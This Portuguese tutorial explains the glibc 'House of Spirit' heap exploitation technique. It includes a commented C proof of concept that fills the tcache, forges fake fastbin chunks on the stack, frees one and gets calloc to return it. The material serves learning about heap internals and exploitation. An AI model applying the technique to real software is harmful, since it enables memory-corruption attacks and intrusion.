Este exploit consiste em reescrever um ponteiro, já existente, antes dele ser liberado pela função free(). A ideia consiste no atacante criar um chunk falso (na pilha, na .bss, na heap, etc...) e fazer o ponteiro apontar para esse novo chunk.
Esse novo chunk deve passar em alguns testes de verificação, que não é muito difícil, basta iniciar os campos sizes desse chunk, e do próximo.
Nota: O atacante deve, na verdade, criar dois chunks adjacentes, para dessa forma modificar tanto o campo size do primeiro, como do segundo. Porém, o segundo chunk não necessita do espaço completo criado para ele, ele apenas precisa desse campo size.
O campo size do primeiro chunk falso deve estar no intervalo da fastbin, para quando ele for liberado, ele cair nela. Com isso, a próxima alocação com o tamanho no size (se atentando ao arredondamento da malloc()) irá retornar esse chunk.
Exemplo
house-of-spirit.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
size_t *chunks[7];
size_t fake_chunks[10] __attribute__((aligned(0x10))); // Espaço para dois chunks, um com o campo size em fake_chunks[1] e o outro com o campo size em fake_chunks[9].
size_t *ptr = NULL, *ptr2 = NULL;
// Preenchendo a tcache.
printf("\nPasso 1: preencher a tcache.");
for (int i = 0; i < 7; i++)
{
chunks[i] = (size_t *)malloc(0x30);
}
for (int i = 0; i < 7; i++)
{
free(chunks[i]);
}
// Iniciando o exploit.
printf("\nPasso 2: preparar os metadados dos chunks falsos.");
printf("\nO campo size do primeiro chunk está em %p, e o campo size do segundo está em %p", &fake_chunks[1], &fake_chunks[9]);
// O campo size do primeiro chunk deve ser menor do que 128 para entrar na fastbin, porém é necessário ficar esperto com os bits NMP. Neste caso, ambos estarão zerados (anterior não está em uso, não é mmaped, e está na arena principal).
// Outra coisa importante é que o valor no size deve ser um valor gerado pelo arredondamento da malloc, por exemplo, em x64 os valores 0x30 a 0x38 são arredondados para 0x40.
fake_chunks[1] = 0x40; // O tamanho do chunk de fato. fake_chunks[0] é considerado do anterior, e fake_chunks[9] é o size do próximo. Sobra 8 índices de 8 bytes = 64 bytes = 0x40.
// O tamanho do próximo chunk deve obedecer algumas regras, uma delas é que ele deve ser maior do que 2*SIZE_SZ (16 em x64) e menor do que av->system_mem (128kb, por padrão na arena principal).
fake_chunks[9] = 0x40; // Bits NMP desativados.
printf("\nPasso 3: liberando o primeiro chunk falso.");
// O chunk deve estar alinhado em 16 bytes para não gerar erro.
ptr = (size_t *)&fake_chunks[2]; // Os dados do usuário sempre começam 8 bytes na frente do size.
free(ptr);
printf("\nPasso 4: alocando novamente o chunk.");
// Note que podemos usar a malloc, porém teríamos que fazer 7 alocações antes para esvaziar a tcache.
ptr2 = (size_t *)calloc(1, 0x30); // Lembre-se de que irá arredondar para 0x40.
printf("\nEndereço do chunk %p, endereço retornado %p\n", &fake_chunks[2], ptr2);
return 0;
}